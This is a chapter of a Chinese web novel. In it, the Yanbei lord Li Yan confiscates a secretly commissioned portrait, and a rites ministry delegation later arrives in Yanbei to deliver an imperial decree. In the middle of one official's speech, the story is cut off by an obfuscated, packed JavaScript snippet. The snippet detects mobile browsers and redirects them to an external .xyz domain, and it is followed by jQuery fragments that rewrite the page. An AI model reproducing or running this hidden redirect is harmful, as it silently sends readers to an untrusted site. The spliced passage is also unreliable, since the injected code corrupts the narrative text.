49. 画像,燕北

作品:《曾见小山河

    翌日,靖武五年正月十六,新日伊始,长安城内神灯俱灭,世事再序。


    依往年旧例,这一日,靖武帝对其师武延公的旨意,照旧由良患宣至长安武延公府。


    又三日,麻葛一行人与礼部一道,携圣人恩赐,启程返回燕北。


    启程这日,清晨时分,熹光微微。


    如今尚在正月,长安依旧天寒地冻,冷风萧瑟,也依旧热气升腾,万物向新。


    三巡开坊鼓敲过,闻东市坊间,隐隐有马车轱辘隆隆滚过,载着这个王朝站在顶峰的大员们,赴太极宫卯时上朝,为年轻王朝筑定根基;见西市坊间,做晨食的阿婆、挑货走街的阿叔、开客栈的娘子,卖书墨的郎君纷纷动身,开启寻常一日的生活。


    临近西市的光德坊。


    阿婆今日做的甜饼正被李兖拿在手里,主仆三人送麻葛他们至府门口。


    哥舒、冬生伢与麻葛几人道别,李兖不曾上前,众人说完话,麻葛才往这边来。


    他行燕北礼道:“十四郎,我们这便回去了,我们在燕北等十四郎。”


    李兖却笑:“这便回去,没什么物什要给我的?”


    他说得信誓旦旦,煞有其事,麻葛眉眼一紧,垂首不自然道:“阿郎要我给十四郎的东西都不曾有忘。”


    “是吗?”


    李兖面无怒色,只紧盯着麻葛。


    他大啃一口甜饼,一直盯着麻葛嚼完咽下,然后把甜饼扔给哥舒,拍去手上碎饼粉。


    麻葛被他盯得心虚,最终败下阵来:“十四郎怎么知道的?”


    怎么知道,他们偷偷找了孟六娘子画像,要带回燕北。


    李兖一笑,得意道:“我现下掌不了一军,掌一府,还是没问题的。”


    笑话,脚下是长安,这里是他住的府邸,怎能不按暗眼。


    夹在这祖孙俩中间,麻葛也为难:“阿郎就是想瞧一瞧孟六娘子的模样,一张画像而已,十四郎放心,不会生什么事的。”


    李兖并不生气,但也不与他废话,只摊开手,勾勾手指。


    “拿来。”


    “十四郎......”


    “我不急,但礼部和龙武军可都等着你呢。”


    麻葛咬咬牙,摘下马上的包袱,把里面藏着的一个小竹卷扔给李兖。


    李兖伸手接了,边展开边嘟囔:“你们可真是胆大,人都没见过,就不怕画错了白画一场,万一画得不好又当如何?”


    巴掌大小的画卷徐徐展开,一个玉雪少女跃然卷上。


    少女五官精致,明眸善睐,只她不喜反怒,细眉微微皱起,圆圆的杏目因着怒气染上一层薄光,唇角轻轻抿着,发丝飘扬,像只下一刻便要扑向自己的炸毛精怪。


    画得如真似幻,栩栩如真人在目。


    不知是因为画得实在太像,还是什么缘故,李兖心间猛跳,不觉微微后仰,离这幅画远了些。


    这这这,也太像了吧。


    吓得他心跳都快了几分。


    李兖不自觉地想按心口。


    哥舒见状奇怪,凑向这边:“怎的了,画得不像?”


    不等他落下一眼,‘唰’的一声,画卷被李兖迅速收起,卷吧卷吧一把塞进怀里。


    这下哥舒更奇怪了,他还待问,便被旁边冬生伢一把捂住嘴巴,眼神示意他,少说话。


    缓了缓,李兖清清嗓子,随意问道:“这画何处得来的?”


    麻葛如实道:“旁边西市上得来的,有人见过孟家六娘子,我们高价买,他便画了。”


    “见过卖画的人吗?”


    “那倒不曾,这种高人不肯露面。”


    能画成这样,确是高人。


    李兖点了点头,挥手叫麻葛去了,私心里却是想不通。


    孟季姜应当没来过西市,见过她的人多是达官显贵,也不可能住在西市,还为了钱卖画。


    可能画得如此传神,只见过都不一定能画,除了画功醇熟,还要有心,能看透她一二。


    究竟是谁画得?


    远处,麻葛等人骑上马去,宣读护送圣旨的礼部与龙武军诸人也预备出发。


    门下,身材愈发魁梧,心境越发矫情的哥舒忽就小声抽泣起来。


    旁边李兖被吓了一跳,他嘴中嚼着甜饼,新奇地瞥眼看过去,见当真落了泪。


    不由笑道:“这是怎的了,若不然,你也跟他们一道回家去?”


    “我不回,”


    哥舒闻言,却是摇头拒绝:“我与阿兄说好的,要跟着十四郎一起回去。”


    冬生伢年长两人几岁,自小被收养进营中,家中已无牵挂,这次也难得体贴,给哥舒递了帕子,劝道:“这有什么的,十四郎这里有我,过个一年半载我们便也回去了。”


    燕北人重诺,哥舒亦然,他摇摇头,推开冬生伢递来的帕子,用袖子擦了把脸,抬起头,反嫌弃道:“你什么时候也这么讲究了,还随身带这个。”


    李兖闻言,噗嗤一声笑出来,看热闹地瞥向脸色明显沉下来的冬生伢。


    只见他愤愤收回手,把帕子塞回腰封,嘟囔道:“我真是多余管你。”


    远处,麻葛见状,叹口气到底翻调转马头,重新策马回来。


    哥舒惊讶喊他:“叔父。”


    麻葛利落地翻身下马走过来,他生就不如其他燕北人高大,此时站到格外高大的哥舒面前,竟不显得奇怪。


    瞧见哥舒擦红的双眼,麻葛冷肃的脸色微微缓和,可他实在不善说什么,便只用那双粗糙的手拍拍哥舒肩膀。


    对他道:“燕北的战士不能落泪,护好十四郎,护好自己,叔父和阿兄都在燕北等你。”


    哥舒擦净眼泪,使劲点头,叫麻葛放心。


    麻葛向旁边两人一颔首,翻身上马,重新跟进走远的队伍中。


    旭日东升,照阳铺洒一地,三人站在门前,注视着渐渐没了踪影的队伍。


    阳光打在少年精致漂亮的眉眼,哥舒瞥他道:“今岁李侯爷被圣人派了差事,十四郎明明可以请旨回燕北过岁除的。”


    李兖道:“与他无关,我想在长安多待一会儿。”


    少年声音含着明朗的笑意,一如往昔。


    哥舒不明白:“为何?长安有咱们燕北好吗?”


    李兖听着耳边西市热闹纷杂的声音,又低头瞧瞧手中红豆馅儿的甜饼,只道:“我也没想明白。”


    他是真的没想明白。


    在来长安之前,他只知道守住燕北,不叫胡莽人越过陂水山,是他的使命,是燕北历代豪雄先贤的期望。


    可来到长安以后,他觉得他想要的燕北,远不止于此。


    燕北远不止于仅是不被胡莽人践踏,燕北也应该如长安一般热闹繁华,燕北人更应该如长安人一般有笑,有闹,有生活。


    可要如何做,他的燕北才能变成心中的燕北,他还没想明白。


    再望一眼西市,李兖转身,三人一道往府中走去。


    *


    这厢,自长安启程的一行人,历行一月有余,终于在二月末来到大晋边北之地,燕北帐原郡。


    帐原的二月较之长安的腊月还要冷上许多,天气也还丝毫没有回暖的迹象,只燕北人似是天生便不畏寒,这样滴水成冰的日子,街巷上也满是行人。


    还未进帐原城门,龙武军领队的中郎将便先行大声勒令起队中兵将。


    “再往前咱们便是到了武延公的眼下,行事规矩,行动报上,坐卧如令,这些都不用我细细与你们说,莫失了分寸便是。”


    随队的几个礼部官员见状,早已不见怪。


    燕北武延公宇文宗敬,圣人之师,九部帐帅。


    在他之前,燕北九部各自为战,前朝末年,宇文宗敬弱冠之龄一统九部,是前朝最后一位世所公认的名将。


    后因事由,与前朝末帝决裂,领燕北乱世独立。


    及到萧氏北地称霸,先帝与宇文宗敬几次交锋,也未曾将固若金汤的燕北拿下。


    而宇文宗敬并无扩疆称帝之心,不进不退,就此僵持几十载。


    至靖武帝执意拜师宇文宗敬,先帝年迈心境又早已濒弱,武延公也不愿燕北与萧氏拼个两败俱伤,这才勉强将燕北拿到萧氏帐下,又封当时的靖武帝为燕郡王,才令两厢太平至今。


    在军中,武延公宇文宗敬的高度至今无人企及,凡入行伍者无不向往。


    故而,才有中郎将此番作为。


    但自古文臣武将有壁,


    随行的几位礼部官员多是从没来过燕北的,虽也听过武延公事迹,但到底并不憧憬,见此虽有不解却也没什么表示。


    只有礼部随行的最高官员,侍郎高存心中了然,面上难掩敬意。


    那中郎将见状,主动来与他闲话。


    两人叉手互相道礼后,中郎将道:“前年方自陇右入京,不知公是?”


    前年入京便能做中郎将,不是宗室裙带便是勋贵之后,高存心中已有计较,也不多问,只抚须笑道“某名高存,家父现任东宫太子傅,家父年轻时与武延公有些交情,我少时多闻,对武延公自是崇敬。”


    “失敬失敬,”


    中郎将又作礼,后道:“怪道礼部会派公来,原是因此。”


    高存闻言,嘴角挤出一丝苦笑,却不再往下说,究竟是否因此,他也自不会与一生人细说。


    中郎将瞧瞧四下,又低声问:“请教高公,若见武延公,某当如何言语?”话语间,难掩激动。


    高存心下不由失笑,心道,你见不见得着武延公还要两说呢。


    这样想,却也不吝赐教,便笑道:“公是军中人,定然识得小侯爷吧,他与武延公其人其性像了个七八分。”


    “受教受教。”


    中郎将似是受过什么点拨,武将与文臣说话,说多错多。


    于是干脆一个劲儿行礼。


    见两人说得热闹,旁边有不知事的年轻官员便想插嘴,挑起话头道:“咱们今日到府,不知可能正常宣旨,会不会正巧无人接旨。”


    不料,未等旁人接他的话,高存便先冷斥道:“胡吣什么!圣人早有先言,该如何便如何,由得尔等在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825512|153703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此胡言乱语。”


    周围顿时一惊。


    可虽斥旁人,眼见离城门越来越近,高存心下也略有戚戚。


    十二年前,胡莽进犯,几欲越过陂水山。


    彼时适逢先帝南下,带走了燕北三万铁骑,那一战,燕北九部遭受了百年以来第一次重创。


    武延公四子一女,并几个长成的孙儿几乎全部命丧沙场,小侯爷李兖之母便是殒身在那场战役里。


    如今武延公仅余一长女,两个成人的孙儿,并李兖这个外孙尚在人世。


    可即便如此,也是勉强将胡莽人拒之陂水山外,后先帝于南地落败,彻底断了反击的希望,整个北地陷入僵局。


    最后,由萧氏出面谈和,圣人的大公主也是在那时和亲胡莽,为北地换来喘息之机。


    即使如今大晋国力逐渐强盛,甚至有一统天下的势头,可马革裹尸的将军,远嫁他乡的公主,都再也回不来了。


    怎能不叫人心中悲戚。


    如今,宇文家没几个主子了,又时值寒冬,正是胡莽人最容易入侵边境之时,各部将军皆在城外帐中连夜备防,那年轻官员如此问,也是有此担忧。


    所谓礼部,这帮官员把规矩礼仪看得比天大。


    只离了长安,谁也不惯着谁。


    见向来和气的同僚如此气急,一旁官员与龙武军也对自己嗤之以鼻,那年轻官员琢磨过味来,忙一揖到底,急得说起白话。


    “我并非有意冒犯,武延公于我朝有恩,我怎敢冒犯,诸位.......”


    “好了,”


    高存看着前方,出言解围:“城门近在眼前,说话还要慎重些。”


    一行人入城,早有宇文家的府卫等在城门,宇文府上也早已备下一应接旨物什。


    只那年轻官员猜的不错,宇文家仅有一男一女两人出来接旨。


    高存宣下靖武帝的赏赐,清俊羸弱的青年郎君接了旨,后引高存往堂中吃茶。


    “公往这边吃茶。”


    郎君伸手作请,面上挂着笑,温声道:“入了冬人便总是忙些,百姓尚且如此,我们府上则更甚之,望公见谅,望圣人莫怪。”说着,向长安的方向作了一礼。


    说话妥帖至极,礼数更是周到。


    高存嘴上客套:“郎君说笑了,咱们一早便得了圣人的令,一日师,终生父,圣人拿宇文公做亲人,自是全无怪罪。”


    说话间,却不由得偷眼细瞧眼前之人。


    郎君不过弱冠,生就白面清眉,一双笑眼,他不穿燕北部服,也不着武将劲衣,却着广袖道服,与他般配无匹。


    高存不是头次来燕北宣旨,虽未见过此人,可能出现在这儿替武延公接旨的也不过那几个宇文家人,他瞬时便猜了个大概。


    武延公尚存世间的两个孙儿,一个行八,一个行十一,据传,八郎君宇文成朔骁勇善战,早早入了九部军中,隐有继承其祖父武延公衣钵的劲头。


    另一位十一郎君宇文陵琅,自小体弱多病,汤药离不得身,是打娘胎里带出来治不得的弱症。


    眼前,怕就是这一位了。


    两人来到堂中落座,眼前郎君果道:“晚生宇文陵琅,家中行十一,还未请公名讳?”


    “礼部侍郎,高存,家父高世阳。”


    “原是高公之后,难怪难怪,”


    宇文陵琅似是欣喜极了,倾身笑道:“常听祖父提起尊大人,说是再和气不过的人,如今见公,真是如此。”


    闻言,高存手紧压着下颌长须,不断轻抚,可谓既惊又喜,


    惊是,说话如此滴水不漏,夸人这般不落俗套,竟是宇文家人。


    喜是发自内心的喜,时下为官者皆有政绩,便不爱听别人吹捧政绩,就爱听点人品的点评,宇文陵琅评的恰到好处。


    两人又交谈许久,半晌时间便过去,时值傍晚,宇文陵琅将心情愉悦至极的高存人送至门外,由着府上下人把人带去歇息。


    再回身进到府中,便见麻葛一行人早等在廊下,宇文陵琅摆摆手,几人往侧门走去。


    麻葛将手上劲衣递过去,关心道:“那官员十一郎安排好了?”


    他们不擅长与长安的官员打交道,故而觉得此事是最难办的。


    宇文陵琅边走边脱去累赘的宽袍,闻言只道:“为官之人嘛,爱听什么不爱听什么都是一个样子,”


    他说着,忽笑了笑:“不过,这高存确实像极了高家人,太过和气了些。”


    不欲多说长安事,宇文陵琅束紧小臂上的革带,侧头笑问:“十四郎如何,长安那般繁华,他过得可还习惯?”


    宇文陵琅话问得轻巧,概因他心中有数。


    十四郎长在燕北,不是娇生惯养的人,可长安如何不好待,难道比陂水山下的雪窝子还难待不成?


    麻葛对这位十一郎向来猜不透,只一一答了。


    宇文陵琅见他答得认真,又不免与他玩笑起来,麻葛笑骂句小子,也不算恼。


    几人说说笑笑,出门,策马出城,踩着夕阳往九部扎营的方向飞驰而去。